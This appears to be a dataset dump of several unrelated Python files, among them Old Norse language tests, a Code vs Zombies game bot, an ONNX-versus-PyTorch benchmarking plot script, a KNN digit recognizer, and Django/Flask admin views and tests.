\",.\"]\n\n target = [['gef', 'jun'], ['dró'], ['frá'], ['gyl', 'fa'], ['glöð'], ['djúp', 'rö', 'ðul'], ['óðl', 'a'],\n ['svá'], ['at'], ['af'], ['ren', 'ni', 'rauk', 'num'], ['rauk'], ['dan', 'mar', 'kar'], ['auk', 'a'],\n ['bár', 'u'], ['öxn'], ['ok'], ['át', 'ta'], ['en', 'ni', 'tungl'], ['þars'], ['geng', 'u'],\n ['fy', 'rir'], ['vi', 'ney', 'jar'], ['víðr', 'i'], ['val', 'rauf'], ['fjö', 'gur'], ['hö', 'fuð']]\n self.assertListEqual(syllabified_words, target)\n\n def test_declension_pronouns(self):\n thessi_declension = [\n [[\"þessi\", \"þenna\", \"þessum\", \"þessa\"], [\"þessir\", \"þessa\", \"þessum\", \"þessa\"]],\n [[\"þessi\", \"þessa\", \"þessi\", \"þessar\"], [\"þessar\", \"þessar\", \"þessum\", \"þessa\"]],\n [[\"þetta\", \"þetta\", \"þessu\", \"þessa\"], [\"þessi\", \"þessi\", \"þessum\", \"þessa\"]]\n ]\n self.assertListEqual(pronouns.pro_demonstrative_pronouns_this.declension, thessi_declension)\n\n def test_declension_nouns(self):\n noun_sumar = decl_utils.DeclinableOneGender(\"sumar\", decl_utils.Gender.neuter)\n noun_sumar.set_declension(nouns.sumar)\n self.assertEqual(noun_sumar.get_declined(decl_utils.Case.nominative, decl_utils.Number.plural), \"sumur\")\n\n def test_prosody_fornyrdhislag(self):\n poem = \"Hljóðs bið ek allar\\nhelgar kindir,\\nmeiri ok minni\\nmögu Heimdallar;\\nviltu at ek, Valföðr,\\n\" \\\n \"vel fyr telja\\nforn spjöll fira,\\nþau er fremst of man.\"\n fo = Fornyrdhislag()\n fo.from_short_lines_text(poem)\n fo.to_phonetics()\n res_alliterations, res_n_alliterations_lines = fo.find_alliteration()\n self.assertEqual(res_alliterations, [[('hljóðs', 'helgar')], [('meiri', 'mögu'), ('minni', 'mögu')], [],\n [('forn', 'fremst'), ('fira', 'fremst')]])\n\n def test_prosody_ljoodhhaattr(self):\n poem = \"Deyr fé,\\ndeyja frændr,\\ndeyr sjalfr it sama,\\nek veit einn,\\nat aldrei deyr:\\n\" \\\n \"dómr um dauðan hvern.\"\n lj = Ljoodhhaattr()\n lj.from_short_lines_text(poem)\n lj.to_phonetics()\n verse_alliterations, n_alliterations_lines = lj.find_alliteration()\n self.assertEqual(verse_alliterations,\n [[('deyr', 'deyja'), ('fé', 'frændr')], [('sjalfr', 'sjalfr')], [('einn', 'aldrei')],\n [('dómr', 'um')]])\n\n def test_poem(self):\n fake_poetic_text = [\"Hljóðs bið ek allar\\nhelgar kindir,\\nmeiri ok minni\\nmögu Heimdallar;\\n\"\n \"viltu at ek, Valföðr,\\nvel fyr telja\\nforn spjöll fira,\\nþau er fremst of man.\",\n \"Deyr fé,\\ndeyja frændr,\\ndeyr sjalfr it sama,\\nek veit einn,\\nat aldrei deyr:\\n\"\n \"dómr um dauðan hvern.\",\n \"Ein sat hon úti,\\nþá er inn aldni kom\\nyggjungr ása\\nok í augu leit.\\n\"\n \"Hvers fregnið mik?\\nHví freistið mín?\\nAllt veit ek, Óðinn,\\nhvar þú auga falt,\\n\"\n \"í inum mæra\\nMímisbrunni.\\nDrekkr mjöð Mímir\\nmorgun hverjan\\naf veði Valföðrs.\\n\"\n \"Vituð ér enn - eða hvat?\"]\n fake_poem = MetreManager.load_poem_from_paragraphs(fake_poetic_text)\n self.assertIsInstance(fake_poem[0], Fornyrdhislag)\n self.assertIsInstance(fake_poem[1], Ljoodhhaattr)\n self.assertIsInstance(fake_poem[2], UnspecifiedStanza)\n\n def test_syllable_length_1(self):\n syllabifier = Syllabifier(language=\"old_norse_ipa\")\n word = [ont.a, ont.s, ont.g, ont.a, ont.r, ont.dh, ont.r] # asgarðr (normally it is ásgarðr)\n syllabified_word = syllabifier.syllabify_phonemes(word)\n lengths = []\n for syllable in syllabified_word:\n lengths.append(ont.measure_old_norse_syllable(syllable))\n self.assertListEqual(lengths, [ut.Length.short, ut.Length.long])\n\n def test_syllable_length_2(self):\n ont.o.length = ont.Length.long\n word = [ont.n, ont.o, ont.t.lengthen()] # nótt\n syllabified_word = [word]\n lengths = []\n for syllable in syllabified_word:\n lengths.append(ont.measure_old_norse_syllable(syllable))\n self.assertListEqual(lengths, [ut.Length.overlong])\n\n def test_syllable_length_3(self):\n word = [ont.t, ont.t] # tt\n lengths = []\n for syllable in [word]:\n lengths.append(ont.measure_old_norse_syllable(syllable))\n self.assertListEqual(lengths, [None])\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"cltk/tests/test_languages/test_old_norse.py","file_name":"test_old_norse.py","file_ext":"py","file_size_in_byte":9345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"40821475","text":"import sys\nimport math\n\n\n# Save humans, destroy zombies!\n\ndef get_barycenter(characterList):\n X = Y = 0\n for id, x, y in characterList:\n X += x\n Y += y\n X /= len(characterList)\n Y /= len(characterList)\n return (int(X), int(Y))\n\n\n# Trouver la cible de chaque zombie\n# Paramètres d'entrée: Id zombie, coordonnées (x,y) zombie, direction zombie\n# Paramètre de retour: Id humain ou -1 (Ash)\ndef getCibleZombie(idZ, xZ, yZ, dirZ):\n # Equation d'une droite D de vecteur directeur V(-b,a): ax + by + c = 0\n a = dirZ[1]\n b = -dirZ[0]\n c = -a * xZ - b * yZ\n if abs(a * x + b * y + c) < 1:\n return -1\n for idH, xH, yH in humanList:\n if abs(a * xH + b * yH + c) < 1:\n return idH\n\n# Déterminer, pour un humain donné, le nombre de zombies par humain cible\n# Paramètres d'entrée: Id humain\n# Paramètre de retour: liste id zombies\ndef getZombieAttackListPerHuman(idH, xH, yH):\n listIdZombies = []\n for idZ, xZ, yZ, xZNext, yZNext in zombieList:\n directionZombie = (xZNext - xZ, yZNext - yZ)\n idHuman = getCibleZombie(idZ, xZ, yZ, directionZombie)\n if idHuman == idH:\n listIdZombies.append(idZ)\n return listIdZombies\n\n\n# game loop\nwhile True:\n x, y = [int(i) for i in input().split()]\n human_count = int(input())\n humanList = []\n for i in range(human_count):\n human_id, human_x, human_y = [int(j) for j in input().split()]\n hTuple = (human_id, human_x, human_y)\n humanList.append(hTuple)\n zombie_count = int(input())\n zombieList = []\n for i in range(zombie_count):\n zombie_id, zombie_x, zombie_y, zombie_xnext, zombie_ynext = [int(j) for j in input().split()]\n # zTuple = (zombie_id, zombie_x, zombie_y, zombie_xnext, zombie_ynext)\n zTuple = (zombie_id, zombie_x, zombie_y, zombie_xnext, zombie_ynext)\n zombieList.append(zTuple)\n # print(\"type zombie_id: {}, zombie_x {}\".format(type(zombie_id),type(zombie_x)),file=sys.stderr)\n print(\"Ash: {}, {}\".format(x, y), file=sys.stderr)\n print(\"Human count: {}\".format(human_count), file=sys.stderr)\n print(\"Zombie count: {}\".format(zombie_count), file=sys.stderr)\n print(\"humanList: \", humanList, file=sys.stderr)\n print(\"zombieList: \", zombieList, file=sys.stderr)\n # print(\"human_id: {}, human_x: {}, human_y: {}\".format(human_id, human_x, human_y), file=sys.stderr)\n\n directionZombie = []\n distanceAshZombie = []\n distanceHumanZombie = []\n distanceAshHuman = []\n ZombieAttackListPerHuman = []\n for idZ, xZ, yZ, xZNext, yZNext in zombieList:\n directionZombie = (xZNext - xZ, yZNext - yZ)\n cible = getCibleZombie(idZ, xZ, yZ, directionZombie)\n if cible >= 0:\n print(\"Zombie #{} is aiming on Human #{}\".format(idZ, cible), file=sys.stderr)\n elif cible == -1:\n print(\"Zombie #{} is aiming on Ash\".format(idZ), file=sys.stderr)\n else:\n print(\"Zombie #{} is not aiming on anyone!?\".format(idZ), file=sys.stderr)\n ZombieAttackListPerHuman.append(cible,)\n\n # HumanTargetZombie\n distanceAshZombie.append((idZ, int(math.sqrt((xZNext - x) ** 2 + (yZNext - y) ** 2))))\n for idH, xH, yH in humanList:\n distanceHumanZombie.append((idH, idZ, int(math.sqrt((xH - xZNext) ** 2 + (yH - yZNext) ** 2))))\n for idH, xH, yH in humanList:\n distanceAshHuman.append((idH, int(math.sqrt((xH - x) ** 2 + (yH - y) ** 2))))\n\n # Impression des distances\n # print(\"human_id: {}, zombie_id: {}, distance: {}\".format(idH, idZ, distance), file=sys.stderr)\n print(\"distanceAshHuman...\", distanceAshHuman, file=sys.stderr)\n print(\"distanceAshZombie...\", distanceAshZombie, file=sys.stderr)\n print(\"distanceHumanZombie...\", distanceHumanZombie, file=sys.stderr)\n\n dMinHumanZombie = 99999\n for idH, idZ, distance in distanceHumanZombie:\n if distance < dMinHumanZombie:\n dMinHumanZombie = distance\n vulnerableHuman = idH\n dMinAshZombie = 99999\n for idZ, distance in distanceAshZombie:\n if distance < dMinAshZombie:\n dMinAshZombie = distance\n closestZombie = idZ\n dMinAshHuman = 99999\n for idH, distance in distanceAshHuman:\n if distance < dMinAshHuman:\n dMinAshHuman = distance\n closestHuman = idH\n\n dMaxHumanZombie = 0\n for idH, idZ, distance in distanceHumanZombie:\n if distance > dMaxHumanZombie:\n dMaxHumanZombie = distance\n happyHuman = idH\n dMaxAshZombie = 0\n for idZ, distance in distanceAshZombie:\n if distance > dMinAshZombie:\n dMaxAshZombie = distance\n farestZombie = idZ\n dMaxAshHuman = 0\n for idH, distance in distanceAshHuman:\n if distance > dMaxAshHuman:\n dMinAshHuman = distance\n farestHuman = idH\n # Write an action using print\n # To debug: print(\"Debug messages...\", file=sys.stderr)\n # Si Ash est plus proche d'un humain que d'un zombie, alors on part zigouiller le zombie\n targetX = 0\n targetY = 0\n if dMinHumanZombie < dMinAshHuman:\n targetX = [int(t[1]) for t in humanList if t[0] == vulnerableHuman].pop()\n targetY = [int(t[2]) for t in humanList if t[0] == vulnerableHuman].pop()\n elif dMinAshHuman > dMinAshZombie:\n targetX = [int(t[1]) for t in zombieList if t[0] == closestZombie].pop()\n targetY = [int(t[2]) for t in zombieList if t[0] == closestZombie].pop()\n # targetX = zombieList[int(i) for id, x, y in zombieList if id == closestZombie]\n elif dMinAshHuman < dMinHumanZombie:\n targetX = [int(t[1]) for t in humanList if t[0] == closestZombie].pop()\n targetY = [int(t[2]) for t in humanList if t[0] == closestZombie].pop()\n else:\n barycenter = get_barycenter(zombieList)\n targetX = barycenter[0]\n targetY = barycenter[1]\n\n # Your destination coordinates\n print(\"type targetX...\", type(targetX), file=sys.stderr)\n print(\"type targetY...\", type(targetY), file=sys.stderr)\n print(\"{:d} {:d}\".format(targetX, targetY))\n # result = ' '.join(c for c in get_barycenter(zombieList))","sub_path":"CodeVsZombies/codeZombies_old.py","file_name":"codeZombies_old.py","file_ext":"py","file_size_in_byte":6181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"134628259","text":"import os\nimport tqdm\nimport scipy\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics import mean_squared_error\n\npd.set_option('display.max_columns', None)\n\ndata_folder_path = '/Users/dval/work_temp/twitter_from_nyu/output_faster'\n\ntorch_reference_df = pd.read_csv(data_folder_path+'/torch_reference.csv')\ntorch_reference_df = torch_reference_df[['tweet_id',\n 'torch_score',\n 'torch_time_per_tweet'\n ]]\n# print(torch_reference_df.head())\n# print(torch_reference_df.dtypes)\n\n\ndata_input_df = pd.DataFrame()\n\nfor file in tqdm.tqdm(os.listdir(data_folder_path+'/is_unemployed/')):\n # print('reading', data_folder_path+'/'+file)\n current_file = pd.read_csv(data_folder_path+'/is_unemployed/'+file)\n # print(current_file.dtypes)\n # print(current_file.head())\n #since the columns we care about are the same for all rows\n\n merged = current_file.merge(torch_reference_df)\n # merged = onnx_predictions_random_df.merge(tweets_random)\n # merged = merged.merge(torch_predictions_random_df)\n\n # merged['speedup_frac'] = (torch_per_tweet)/onnx_per_tweet\n\n merged['speedup_frac'] = merged['torch_time_per_tweet']/merged['onnx_time_per_tweet']\n merged['pytorch_score_rank'] = merged['torch_score'].rank(method='dense', ascending=False)\n merged['kendalltau'] = scipy.stats.kendalltau(merged['pytorch_score_rank'], merged['onnx_score']).correlation\n merged['spearmanr'] = scipy.stats.spearmanr(merged['torch_score'], merged['onnx_score']).correlation\n merged['mean_squared_error'] = mean_squared_error(merged['torch_score'], merged['onnx_score'])\n\n\n merged = merged.head(1)\n\n\n\n\n\n\n\n\n\n data_input_df = pd.concat([data_input_df,\n merged])\n # break\n\ndata_input_df = data_input_df[[\n 'onnx_batchsize', 'onnx_model_type',\n 'speedup_frac', 'kendalltau', 'spearmanr', 'mean_squared_error'\n ]]\n\ndata_input_agg_df = data_input_df.groupby(['onnx_batchsize', 'onnx_model_type']).agg(['mean', 'std'])\ndata_input_agg_df.reset_index(inplace=True)\ndata_input_agg_df.columns = ['onnx_batchsize', 'onnx_model_type',\n 'speedup_frac_mean','speedup_frac_std',\n 'kendalltau_mean','kendalltau_std',\n 'spearmanr_mean','spearmanr_std',\n 'mean_squared_error_mean','mean_squared_error_std'\n ]\n\ndata_input_agg_df['model'] = data_input_agg_df['onnx_model_type'].astype(str).str[:-5]\ndata_input_agg_df['kendalltau_mean'] = -1.0 * data_input_agg_df['kendalltau_mean']\n\n\n# print(data_input_agg_df.shape)\n# print(data_input_agg_df.head())\n# print(data_input_agg_df.columns)\n\n\n\nimport pandas as pd\nimport rpy2.robjects as ro\nfrom rpy2.robjects import pandas2ri\nfrom rpy2.rinterface import parse\n# import rpy2.robjects.lib.ggplot2 as ggplot2\n\nfrom rpy2.robjects.conversion import localconverter\n\nwith localconverter(ro.default_converter + pandas2ri.converter):\n r_from_pd_df = ro.conversion.py2rpy(data_input_agg_df)\n\n# parse('cat(r_from_pd_df$onnx_batchsize)')\n# test = parse('cat(r_from_pd_df$onnx_batchsize)')\n# print(test[0])\n\n# in the future you might have to use parse https://rpy2.github.io/doc/v3.4.x/html/rinterface.html#parsing-and-evaluating-r-code\n# test = parse(\n# '''\n# plot <- ggplot(data=r_from_pd_df, aes(x=onnx_batchsize, y=speedup_frac_mean)) + geom_point()\n# ggsave(file='test.png', width = 5, height = 5, dpi = 300)\n# '''\n# )\n# print(test)\n\n# rdf = pandas2ri.py2ri(all_results)\n# Y_AXIS = 'speedup_frac'\nY_AXIS = 'kendalltau'\n# Y_AXIS = 'spearmanr'\n# Y_AXIS = 'mean_squared_error'\n\nro.globalenv['r_output'] = r_from_pd_df\n\nR_RUN_STRING_TEMPLATE = '''\nlibrary('ggplot2')\nr_output$onnx_batchsize <- as.factor(r_output$onnx_batchsize)\nplot <- ggplot(data=r_output, aes(x=onnx_batchsize, y=**_mean, color=model)) + \n geom_point(size=0.1)+\n geom_pointrange(aes(ymin=**_mean-**_std, ymax=**_mean+**_std))+\n # geom_path()+\n # geom_jitter()+\n theme_bw()+\n theme(legend.position=\"top\") \nggsave(file='**.png', width = 5, height = 5, dpi = 300)\n'''\nR_RUN_STRING = R_RUN_STRING_TEMPLATE.replace('**', Y_AXIS)\n\n\nprint('plotting..\\n', R_RUN_STRING)\nro.r(R_RUN_STRING)\n\n# geom_point()+\n# geom_pointrange(aes(ymin=estimate-CI, ymax=estimate+CI), alpha=0.9, fill = 'darkgreen')+\n# geom_hline(yintercept=0, color = 'red', alpha = 0.3) +\n# geom_vline(xintercept=0, color = 'red', alpha = 0.3) +\n# xlab(\"Days after lifting mandate\") +\n# ylab(\"Estimated Change in Mask Adherance\n# (percentage points)\")+\n# theme_bw()+\n# theme(legend.position = \"none\")+\n# ggtitle(\"Effect of Lifting Mask Mandates on Mask Adherence\")+\n# theme(plot.title = element_text(hjust = 0.5))+\n# scale_x_continuous(breaks = seq(-40, 50, by = 10))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"code/2-twitter_labor/4-inference_200M/bert_models/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":4913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"473622219","text":"'''''' '''KNN 手写数字识别'''\n# 将测试数据转换成只有一列的0-1矩阵形式\n# 将所有(L个)训练数据也都用上方法转换成只有一列的0-1矩阵形式\n# 把L个单列数据存入新矩阵A中——矩阵A每一列存储一个字的所有信息\n# 用测试数据与矩阵A中的每一列求距离,求得的L个距离存入距离数组中\n# 从距离数组中取出最小的K个距离所对应的训练集的索引\n# 拥有最多索引的值就是预测值\n\nimport os,time,operator #导入os内置库来读取文件名 导入time来测试效率\nimport pandas as pd #导入数据处理库pandas 安装方法pip install pandas\nimport numpy as np #导入科学计算库numpy 安装方法pip install numpy\nimport matplotlib.pyplot as plt #导入绘图库matplotlib 安装方法pip install matplotlib\n\n## print(len(tarining)) #1934个训练集 ## print(len(test)) #945个测试集\ntrainingDigits =r'digits\\trainingDigits'\ntestDigits = r'digits\\testDigits'\n ## ↑数据路径\ntarining = (os.listdir(trainingDigits)) ## 读取训练集\ntest = (os.listdir(testDigits)) ## 读取测试集\ndef read_file(doc_name): ## 定义一个把32x32格式转为1行的函数\n data=np.zeros((1,1024)) ## 创建1个zero数组\n f=open(doc_name) ## 打开文件\n for i in range(32): ## 已知每个文件中有32行32列\n hang=f.readline() ## 取行\n for j in range(32): ## 取每行中的每一列\n data[0,32*i+j]=int(hang[j]) ## 给data值\n # print(pd.DataFrame(data)) ## 不要在这里转换成DataFrame。\n return data ## 否则测试集效率会降低7倍\n ## 读取训练集效率会降低12倍\n\ndef dict_list(dic:dict): ## 定义函数将字典转化为列表\n keys = dic.keys() ## dic.keys()就是字典的k\n values = dic.values() ## dic.values()就是字典的V\n lst = [(key,val) for key,val in zip(keys, values)] ## for k,v in zip(k,v)\n return lst ## zip是一个可迭代对象\n ## 返回一个列表\n\ndef xiangsidu(tests,xunlians,labels,k): ## tests:测试集 # xulians:训练样本集 # labels:标签 # k: 邻近的个数\n data_hang=xunlians.shape[0] ## 获取训练集的行数data_hang\n zu=np.tile(tests,(data_hang,1))-xunlians ## 用tile把测试集tests重构成一个 data_hang行、1列的1维数组\n q=np.sqrt((zu**2).sum(axis=1)).argsort() ## 计算完距离后从低到高排序,argsort返回的是索引\n my_dict = {} ## 设置一个dict\n for i in range(k): ## 根据我们的k来统计出现频率,样本类别\n votelabel=labels[q[i]] ## q[i]是索引值,通过labels来获取对应标签\n my_dict[votelabel] = my_dict.get(votelabel,0)+1 ## 统计每个标签的次数\n sortclasscount=sorted(dict_list(my_dict),key=operator.itemgetter(1),reverse=True)\n ## 获取votelabel键对应的值,无返回默认\n return sortclasscount[0][0] ## 返回出现频次最高的类别\n\n\ndef shibie(): ## 定义一个识别手写数字的函数\n label_list = [] ## 将训练集存储到一个矩阵并存储他的标签\n train_length = len(tarining) ## 直接一次获取训练集长度\n train_zero = np.zeros((train_length,1024)) ## 创建(训练集长度,1024)维度的zeros数组\n for i in range(train_length): ## 通过遍历训练集长度\n doc_name = tarining[i] ## 获取所有的文件名\n file_label = int(doc_name[0]) ## 取文件名第一位文件的标签\n label_list.append(file_label) ## 将标签添加至handlabel中\n train_zero[i,:] = read_file(r'%s\\%s'%(trainingDigits,doc_name))## 转成1024的数组\n ## 下面是测试集\n errornum = 0 ## 记录error的初值\n testnum = len(test) ## 同上 获取测试集的长度\n errfile = [] ## 定义一个空列表\n for i in range(testnum): ## 将每一个测试样本放入训练集中使用KNN进行测试\n testdoc_name = test[i] ## 通过i当作下标来获取测试集里面的文件\n test_label = int(testdoc_name[0]) ## 拿到测试文件的名字 拿到我们的数字标签\n testdataor = read_file(r'%s\\%s' %(testDigits,testdoc_name)) ## 调用read_file操作测试集\n result = xiangsidu(testdataor, train_zero, label_list, 3) ## 调用xiangsidu返回了result\n print(\"正在测试%s中的 %d, 识别内容是 %d\" % (testdoc_name,test_label,result),end='') ## 输出result和标签\n if (result != test_label): ## 判断标签是否等于测试名\n errornum += 1 ## 不是则+1 记录次数\n errfile.append(testdoc_name) ## 并把错误的文件名加入错误列表\n print(\"识别错误\", end='')\n print(\"\")\n print(\"错误数量有 :%d\" % errornum) ## 输出错误的数量\n print(\"错误的有 :%s\"%[i for i in errfile]) ## 输出错误的列表中的名字\n print(\"准确率 %.4f%%\" % (((errornum / float(testnum))) * 100)) ## 计算准确率\n print(\"错误率 %.4f%%\" % ((errornum / float(testnum)) * 100)) ## 计算错误\n\nif __name__ == '__main__': ## 声明主函数\n a = time.time() ## 设置起始时间\n shibie() ## 调用测试函数\n b= time.time() - a ## 计算运行时间\n print(\"运行时间:\",b) ## 输出运行时间\n\n","sub_path":"distinguish.py","file_name":"distinguish.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"55705278","text":"from django.db.models.signals import post_save, pre_delete\nfrom django.dispatch import receiver\n\nfrom libs.decorators import ignore_raw, ignore_updates\nfrom pipelines.constants import OperationStatuses, PipelineStatuses\nfrom pipelines.models import OperationRun, OperationRunStatus, PipelineRun, PipelineRunStatus\nfrom pipelines.tasks import (\n check_pipeline_run_status,\n skip_pipeline_operation_runs,\n start_operation_run,\n stop_pipeline_operation_runs\n)\n\n\n@receiver(post_save, sender=PipelineRun, dispatch_uid=\"pipeline_run_saved\")\n@ignore_updates\n@ignore_raw\ndef new_pipeline_run(sender, **kwargs):\n instance = kwargs['instance']\n instance.set_status(PipelineStatuses.CREATED)\n\n\n@receiver(post_save, sender=OperationRun, dispatch_uid=\"operation_run_saved\")\n@ignore_updates\n@ignore_raw\ndef new_operation_run(sender, **kwargs):\n instance = kwargs['instance']\n instance.set_status(OperationStatuses.CREATED)\n\n\n@receiver(post_save, sender=PipelineRunStatus, dispatch_uid=\"new_pipeline_run_status_saved\")\n@ignore_updates\n@ignore_raw\ndef new_pipeline_run_status(sender, **kwargs):\n instance = kwargs['instance']\n pipeline_run = instance.pipeline_run\n # Update job last_status\n pipeline_run.status = instance\n pipeline_run.save()\n # Notify operations with status change. This is necessary if we skip or stop the dag run.\n if pipeline_run.stopped:\n stop_pipeline_operation_runs.delay(pipeline_run_id=pipeline_run.id,\n message='Pipeline run was stopped')\n if pipeline_run.skipped:\n skip_pipeline_operation_runs.delay(pipeline_run_id=pipeline_run.id,\n message='Pipeline run was skipped')\n\n\n@receiver(post_save, sender=OperationRunStatus, dispatch_uid=\"new_operation_run_status_saved\")\n@ignore_updates\n@ignore_raw\ndef new_operation_run_status(sender, **kwargs):\n instance = kwargs['instance']\n operation_run = instance.operation_run\n pipeline_run = operation_run.pipeline_run\n # Update job last_status\n operation_run.status = instance\n operation_run.save()\n\n # No need to check if it is just created\n if instance.status == OperationStatuses.CREATED:\n return\n\n # Check if we need to update the pipeline_run's status\n check_pipeline_run_status.delay(pipeline_run_id=pipeline_run.id,\n status=instance.status,\n message=instance.message)\n if operation_run.is_done:\n # Notify downstream that instance is done, and that its dependency can start.\n downstream_runs = operation_run.downstream_runs.filter(\n status__status=OperationStatuses.CREATED)\n for op_run in downstream_runs:\n start_operation_run.delay(operation_run_id=op_run.id)\n\n\n@receiver(pre_delete, sender=OperationRun, dispatch_uid=\"operation_run_deleted\")\n@ignore_raw\ndef operation_run_deleted(sender, **kwargs):\n instance = kwargs['instance']\n instance.stop()\n","sub_path":"polyaxon/pipelines/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"109790003","text":"from django.shortcuts import render\nfrom now.models import *\nfrom iauthentication.models import *\nfrom django.http import HttpResponse\nimport json, sys, datetime\nfrom django.core.serializers.json import DjangoJSONEncoder\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import *\n\n\n@api_view(['POST'])\n@authentication_classes((TokenAuthentication,))\n@permission_classes((IsAuthenticated,))\ndef delete_thread(request):\n user = request.user\n data = request.DATA\n if not 'thread_id' in data:\n return HttpResponse(json.dumps({'error_flag':1,\n 'error_msg':'REQUEST ERROR'}, cls=DjangoJSONEncoder), content_type=\"application/json\")\n thread_id = data['thread_id']\n thread = Thread.objects.filter(id=thread_id)\n user_profile = User_Profile.objects.get(user_id=user)\n if len(thread):\n thread = thread[0]\n archive_thread = Archived_Thread(**{'thread': thread, 'user': user_profile})\n archive_thread.save()\n thread.show_thread = False\n thread.save()\n return HttpResponse(json.dumps({'error_flag':0,\n 'success_msg':'Thread Archived'}, cls=DjangoJSONEncoder), content_type=\"application/json\")\n return HttpResponse(json.dumps({'error_flag':1,\n 'error_msg':'No Thread with given Id'}, cls=DjangoJSONEncoder), content_type=\"application/json\")\n\n@api_view(['POST'])\n@authentication_classes((TokenAuthentication,))\n@permission_classes((IsAuthenticated,))\ndef list_archived_thread(request):\n user = request.user\n threads = list(Archived_Thread.objects.all().values('user__id','user__first_name','thread__id','thread__title','thread__user_id',\n 'thread__is_event_attached'))\n return HttpResponse(json.dumps({'error_flag':0,\n 'threads': threads},cls=DjangoJSONEncoder), content_type=\"application/json\")\n\n@api_view(['POST'])\n@authentication_classes((TokenAuthentication,))\n@permission_classes((IsAuthenticated,))\ndef delete_thread_comment(request):\n user = request.user\n data = request.DATA\n if not 'comment_id' in data:\n return HttpResponse(json.dumps({'error_flag':1,\n 'error_msg':'REQUEST ERROR'}, cls=DjangoJSONEncoder), content_type=\"application/json\")\n comment_id = data['comment_id']\n comment = Thread_Comments.objects.filter(id=comment_id)\n user_profile = User_Profile.objects.get(user_id=user)\n if len(comment):\n arc_comment = comment[0]\n archive_comment = Archived_Thread_Comments(**{'comment': arc_comment.comment, 'archive_user': user_profile,\n 'thread': arc_comment.thread,'post_date': arc_comment.post_date,'user':arc_comment.user})\n archive_comment.save()\n comment.delete()\n return HttpResponse(json.dumps({'error_flag':0,\n 'success_msg':'Comment Archived'}, cls=DjangoJSONEncoder), content_type=\"application/json\")\n return HttpResponse(json.dumps({'error_flag':1,\n 'error_msg':'No Comment with given Id'}, cls=DjangoJSONEncoder), content_type=\"application/json\")\n\n@api_view(['POST'])\n@authentication_classes((TokenAuthentication,))\n@permission_classes((IsAuthenticated,))\ndef list_archived_threadcomments(request):\n user = request.user\n thread_comments = list(Archived_Thread_Comments.objects.all().values('user__id','user__first_name','thread_id',\n 'thread__title','archive_user_id','archive_user__first_name','post_date','date','comment'))\n return HttpResponse(json.dumps({'error_flag':0,\n 'thread_comments': thread_comments},cls=DjangoJSONEncoder), content_type=\"application/json\")\n","sub_path":"indogenius/admin/admin_threads.py","file_name":"admin_threads.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"522473339","text":"import json\nfrom flask import request\nfrom google.cloud.ndb import Cursor\nfrom models.user import User\nfrom utils.decorators import admin_required\nfrom utils.translations import render_template_with_translations\n\n\n@admin_required\ndef users_list(**params):\n cursor_arg = request.args.get('cursor')\n\n if cursor_arg:\n cursor = Cursor(urlsafe=cursor_arg.encode())\n else:\n cursor = None\n\n params[\"users\"], params[\"next_cursor\"], params[\"more\"] = User.fetch(limit=10, cursor=cursor)\n\n if not cursor_arg:\n # normal browser get request\n return render_template_with_translations(\"admin/users/list.html\", **params)\n else:\n # get request via JavaScript script: admin-load-more-users.js\n users_dicts = []\n for user in params[\"users\"]:\n users_dicts.append({\"get_id\": user.get_id, \"email_address\": user.email_address, \"created\": user.created,\n \"first_name\": user.first_name, \"last_name\": user.last_name, \"admin\": user.admin})\n\n return json.dumps({\"users\": users_dicts, \"next_cursor\": params[\"next_cursor\"], \"more\": params[\"more\"]},\n default=str) # default=str helps to avoid issues with datetime (converts datetime to str)\n\n\n@admin_required\ndef user_details(user_id, **params):\n params[\"selected_user\"] = User.get_user_by_id(user_id)\n return render_template_with_translations(\"admin/users/details.html\", **params)\n","sub_path":"handlers/admin/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"122683232","text":"import pdb\nimport logging\n\nfrom functools import reduce\nfrom decimal import Decimal\n\nfrom django.test import TestCase, Client\nfrom django.urls import reverse\nfrom django.contrib.auth.models import User, Group\n\nfrom game.models import Game, GamePlayed, PaymentDetail\nfrom game.models_helper import buy_game_for_user, rate_game_for_user\n\nlogger = logging.getLogger(__name__)\n\n# Create your tests here.\ndef get_user(name=''):\n \"\"\"Creates and returns a new user\n \"\"\"\n user = User.objects.create(username=name)\n user.save()\n return user\n\nclass BuyViewTest(TestCase):\n \"\"\"Tests the buy view responses. This really is just a test of finding the games\n by their private keys.\n \"\"\"\n\n def setUp(self):\n\n logger.debug('BuyViewTest.setUp')\n\n self.client = Client()\n user = get_user()\n self.client.force_login(user)\n\n Game.create(title='title', url='url', developer=user).save()\n\n def testResponses(self):\n \"\"\"Tests the response codes\"\"\"\n\n game = Game.objects.all()[0]\n pk = game.pk\n\n response = self.client.get(reverse('game:purchase', args=[pk]))\n self.assertEquals(response.status_code, 200)\n response = self.client.get(reverse('game:purchase', args=[pk + 1]))\n self.assertEquals(response.status_code, 404)\n\nclass GameSearchTest(TestCase):\n \"\"\"Tests the search function of the Game model.\n\n Given that these tests are implemented here, testing for which games a query finds\n on the views is unnessecary.\n \"\"\"\n\n def setUp(self):\n\n logger.debug('GameSearchTest.setUp')\n user = get_user()\n for i in range(1, 8):\n title = ''\n title += 'foo ' if i & 1 == 1 else ''\n title += 'bar ' if i & 2 == 2 else ''\n title += 'baz ' if i & 4 == 4 else ''\n Game.create(title, '', developer=user).save()\n\n Game.create('game1', '', description='some description', developer=user).save()\n Game.create('game2', '', description='also some description', developer=user).save()\n Game.create('title', '', description='this game has a 